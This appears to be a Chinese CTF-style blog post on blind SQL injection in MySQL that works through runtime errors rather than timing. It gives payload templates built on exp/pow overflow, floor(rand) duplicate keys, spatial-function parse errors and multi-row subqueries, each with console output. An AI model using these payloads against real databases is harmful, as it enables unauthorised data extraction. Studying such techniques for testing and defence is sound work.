前排膜
前言
这次的CISCN WEB题感觉质量还不错。第一天的SQL注入一题,很容易发现服务端的返回有两种,一种是登录失败
,另一种数据库操作失败
。可以意识到可以盲注,但是与一般的盲注好像不太一样。比较常遇到的是服务端会根据sql语句的逻辑true or false
来返回不同的东西,但是这里是根据sql语句的执行情况的true or false
来返回不同的东西。当然如果前一种情况sql语句执行失败,服务端返回500的情况,也是适用于第二种情况的盲注的。所以说第二种情况的盲注方法更加的通用。刚好之前去六室面试时,学长们出了一道利用exp函数的特性进行注入的题。当时那题我在机试时在网上搜了一大堆,但是能搜到利用exp函数的报错来进行注入,但是需要错误回显。但当时那题是没有错误回显的,只提示错误和失败。题目也禁用了时间函数,也就是没法基于时间进行盲注。本来已经在放弃边缘了,机试一道题没做出来很凉,但是快结束时候突然灵光一闪想到了可以利用exp函数的参数在大于709的情况下会导致sql语句执行失败,这样其实就找到了一种方法来利用服务端的两种不同回显来判断我们自定义表达式的真假。比如这个表达式是709 + c - ascii('a')
,让c
初始化为126
(最大可见字符),我们把它作为参数传给exp
函数,这时sql语句必然是执行失败的,因为709 + 126 - ascii('a') > 709
。然后我们不断的c--
,直到c == ascii('a')
,那么就相当于exp(709 + c - c) == exp(709)
,sql语句就会执行成功,这时的c
就是ascii(a)
,利用这种思路就可以进行盲注了。赛后看到别人的wp,意识到不止exp
函数,包括cot
,pow
等只要能得到超大数导致超过mysql的数值表示返回的,sql语句就会执行失败:
mysql> select pow(2,1024);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,1024)'
mysql> select cot(0);
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
发散
当然我觉得除了利用MYSQL超过数值表示范围就报错这个点之外,还有其他的思路。我想到了是不是可以利用数学本身的约定来,比如除0操作。但是有意思的是mysql是允许除0的,只是会发生warning:
mysql> select 1/0;
+------+
| 1/0 |
+------+
| NULL |
+------+
1 row in set, 1 warning (0.00 sec)
包括log(-1)
等都没法让sql语句执行失败,看来还是需要利用mysql本身的特性来搞。我还尝试利用if语句的条件与mysql执行高权限操作报错的特性以及查询不存在表名、列名报错等特性,但是发现mysql解释器貌似会对sql语句进行预检查,而不会在执行时检查,这样我们if条件就没法生效。于是去查了下MYSQL的官方文档,发现错误种类非常多。而我们需要的错误类型是sql语句运行时产生的。比方说上面利用的错误ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,1024)'
就是sql语句在运行时计算时产生的错误。
找呀找,找呀找。突然不想找了,意识到我们想要的运行时错误,不就是网上能搜到的那些报错注入的例子么。我们可以把他们变个方式,就可以进行盲注了。整理一下如下:
Floor
因为floor报错注入的原理本身就是基于rand()函数在sql语句执行时的多次调用,所以我们可以直接改成盲注。经过测试,可以将测试条件放在group by
之后。
# Floor 报错注入改为报错盲注
mysql> select count(*),floor(rand(0)*2)x from mysql.user group by if(1,x,0);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql> select count(*),floor(rand(0)*2)x from mysql.user group by if(0,x,0);
+----------+---+
| count(*) | x |
+----------+---+
| 5 | 0 |
+----------+---+
1 row in set (0.00 sec)
Spatial Functions
网上还普遍存在的通过传入非法参数给空间函数进行报错注入的方法,貌似在盲注的情况下没法成功。因为测试发现mysql解释器在解析sql语句中这类函数的参数时候就会检查合法性,所以不满足我们之前说的需要sql语句运行时检查的条件。但是在官方文档发现了有意思的东西。
# 原方法没法让if条件生效
mysql> SELECT IF(1,ST_X(LINESTRING(mads)),0);
ERROR 1367 (22007): Illegal non geometric '1' value found during parsing
mysql> SELECT IF(0,ST_X(LINESTRING(mads)),0);
ERROR 1367 (22007): Illegal non geometric '1' value found during parsing
文档中发现了两个函数ST_GeomFromText
、ST_MPointFromText
可以从文本中解析Spatial function,我下意识的觉得这里可能可以绕过mysql解释器的预检查,测试了一下果然是可以的。需要说明的是ST_GeomFromText
针对的是POINT()
函数,ST_MPointFromText
针对的是MULTIPOINT()
函数。
mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(mads)')), 0);
ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.
mysql> SELECT IF(0, ST_X(ST_GeomFromText('POINT(mads)')), 0);
+------------------------------------------------+
| IF(0, ST_X(ST_GeomFromText('POINT(mads)')), 0) |
+------------------------------------------------+
| 0 |
+------------------------------------------------+
1 row in set (0.00 sec)
于是整理了一下可用的函数payload如下:
{}
中是需要判断的条件
# POINT
SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);
这里还可以拓展下思路,就是其实我们需要的只是个动态解析变量的函数来绕过mysql解释器的预检,所以下面的payload同样都是可以的:
SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);
其他特性的报错
翻阅文档与测试之后,只找到额外的以下可行payload。
- 基于错误号1242
mysql> select if(1, (select user from user), 0);
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> select if(0, (select user from user), 0);
+-----------------------------------+
| if(0, (select user from user), 0) |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.00 sec)
可能还有很多,这里只是举个栗子,就不一一列举,各位师傅感兴趣的可以自己尝试去找找。找到了新思路欢迎评论交流~
总结
本文介绍了基于sql语句运行时发生错误的盲注,简称基于运行时错误的盲注
(我起的)。并通过思维发散介绍了几种衍生的payload。由于本人精力与能力有限,肯定没有介绍完全。各位师傅可以自由发挥想象,想到了其他方法欢迎评论区讨论交流~